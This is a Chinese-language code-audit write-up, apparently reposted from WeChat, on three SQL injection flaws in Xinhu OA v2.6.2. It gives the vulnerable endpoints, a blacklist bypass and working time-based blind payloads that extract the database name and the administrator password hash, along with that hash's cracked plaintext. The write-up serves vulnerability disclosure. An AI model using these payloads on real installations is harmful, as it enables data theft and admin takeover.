LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

信呼OA_V2.6.2_SQL注入漏洞

admin
2025年5月28日 19:18 本文热度 153

No.1

SQL注入-1


代码审计

漏洞点出在 

/webmain/flow/input/mode_gongAction.php 

下的 submittoupiaoAjax 方法



可以发现它对传入参数没有进行任何的过滤便拼接执行 SQL 注入

(PS:虽然 get 和 post 请求进行了全局过滤,但过滤不严可以绕过)

url:
http://localhost/index.php?a=submittoupiao&m=mode_gong|input&d=flow&ajaxbool=true&mid=3&sid=1&modenum=1

通过跟踪 SQL 执行,可以看到实际上执行的是以下 sql 语句

update `xinhu_infors` set `touci`=`touci`+1 where `mid`=3 and `id` in(1)

其中 $mid 和 $sid 我们都可以进行注入,此处我选择 $mid 进行注入

不过它 get 和 post 传参过滤了很多参数(已经丧心病狂到影响内容的程度了...)

select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select

但黑名单总是不如白名单的,所以简单 bypass 下得出以下 poc

3||if(ascii(substr((select(database())),1,1))=114,benchmark(666666666,1),0)#


尝试注出当前数据库名

3||if(ascii(substr((select(database())),1,1))=114,benchmark(666666666,1),0)#



第一个字符为 r

3||if(ascii(substr((select(database())),2,1))=110,benchmark(666666666,1),0)#


3||if(ascii(substr((select(database())),2,1))=111,benchmark(666666666,1),0)#



第二个字符为 o

最后注入出当前数据库为 rockxinhu

除此之外,使用以下 poc 还可以注出管理员密码:

/index.php?a=submittoupiao&m=mode_gong|input&d=flow&ajaxbool=true&mid=0||IF(ASCII(SUBSTR((SELECT(pass)FROM(`xinhu_admin`)WHERE(id=1)),1,1))=98,BENCHMARK(666666666,1),0)#&sid=1&modenum=1




No.2

SQL注入-2


代码审计

漏洞点出在 

/webmain/flow/input/mode_knowtraimAction.php

 下的 biaoshiAjax 方法



可以发现它对传入参数没有进行任何的过滤便拼接执行 SQL 注入

url:

http://localhost/index.php?d=flow&m=mode_knowtraim|input&a=biaoshi&ajaxbool=trueupdate `xinhu_knowtrais` set`kssdt`=null,`ksedt`=null,`fenshu`='0',`kstime`='0',`isks`='0',`tkids`=null,`dyids`=null,`dyjgs`=null where `id` in(1) and `mid` in(select `id` from`[Q]knowtraim` where `state`<>

通过跟踪 SQL 执行,可以看到实际上执行的是以下 sql 语句

其中 $fid 我们可以进行注入

select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*

bypass 下得出以下 poc

1)&&IF(1=1,BENCHMARK(666666666,1),0)#


尝试注出管理员密码

1)&&IF(ascii(substr((select(pass)from(`xinhu_admin`)where(id=1)),1,1))=98,BENCHMARK(666666666,1),0)#


得到第一个字符为 'b

1)&&IF(ascii(substr((select(pass)from(`xinhu_admin`)where(id=1)),2,1))=98,BENCHMARK(666666666,1),0)#
1)&&IF(ascii(substr((select(pass)from(`xinhu_admin`)where(id=1)),2,1))=49,BENCHMARK(666666666,1),0)#


得到第二个字符为 '1

最后得到管理员的密码为:b13d93cd920d4155634eae0cc2e71c78

解密后是:Aa635241



No.3

SQL注入-3



代码审计


漏洞点出在 

/webmain/flow/input/mode_userAction.php

 下的 editsuperAjax 方法



可以发现它对传入参数没有进行任何的过滤便拼接执行 SQL 注入

url:

http://localhost/index.php?d=flow&m=mode_user|input&a=editsuper&ajaxbool=true

通过跟踪 SQL 执行,可以看到实际上执行的是以下 sql 语句

update `xinhu_admin` set `superid`='1',`superman`='1' where `id` in(1) and idnot in(1)

其中 $sid 和 $xid 我们都可以进行注入,此处我选择 $xid 进行注入

不过它 get 和 post 传参过滤了很多参数(已经丧心病狂到影响内容的程度了...)

select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*

但黑名单总是不如白名单的,所以简单 bypass 下得出以下 poc

1)&&IF(1=1,BENCHMARK(666666666,1),0)#


尝试注出当前数据库

1)&&IF(ASCII(SUBSTR(DATABASE(),1,1))=114,BENCHMARK(666666666,1),0)#


得到第一个字符为 'r'

1)&&IF(ASCII(SUBSTR(DATABASE(),2,1))=114,BENCHMARK(666666666,1),0)#


1)&&IF(ASCII(SUBSTR(DATABASE(),2,1))=111,BENCHMARK(666666666,1),0)#



得到第二个字符为 'o

最后得到当前数据库为:rockxinhu



No.4

网安沟通交流群



阅读原文:https://mp.weixin.qq.com/s/DTLPhx7tuKgsu3i_Cz6GYw


该文章在 2025/5/29 11:40:29 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2025 ClickSun All Rights Reserved